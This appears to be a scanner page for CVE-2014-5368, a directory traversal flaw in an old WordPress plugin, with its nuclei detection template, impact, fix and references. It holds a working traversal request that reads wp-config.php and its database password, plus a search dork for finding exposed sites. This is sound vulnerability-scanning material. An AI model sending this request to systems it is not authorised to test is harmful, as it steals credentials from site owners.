CVE-2014-5368· wp content source control project / wp content source control· CWE-22
WordPress Plugin WP Content Source Control - Directory Traversal
A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
Impact
An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
Fix
Update to the latest version of the WP Content Source Control plugin to fix the directory traversal vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200Run it with nuclei: nuclei -id CVE-2014-5368 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2014-5368
info:
name: WordPress Plugin WP Content Source Control - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
remediation: |
Update to the latest version of the WP Content Source Control plugin to fix the directory traversal vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-5368
- https://www.exploit-db.com/exploits/39287
- http://seclists.org/oss-sec/2014/q3/417
- https://exchange.xforce.ibmcloud.com/vulnerabilities/95374
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-5368
cwe-id: CWE-22
epss-score: 0.18817
epss-percentile: 0.97306
cpe: cpe:2.3:a:wp_content_source_control_project:wp_content_source_control:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wp_content_source_control_project
product: wp_content_source_control
framework: wordpress
google-query: inurl:"/wp-content/plugins/wp-source-control"
tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,seclists,wp_content_source_control_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2014-5368
- https://www.exploit-db.com/exploits/39287
- http://seclists.org/oss-sec/2014/q3/417
- https://exchange.xforce.ibmcloud.com/vulnerabilities/95374
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from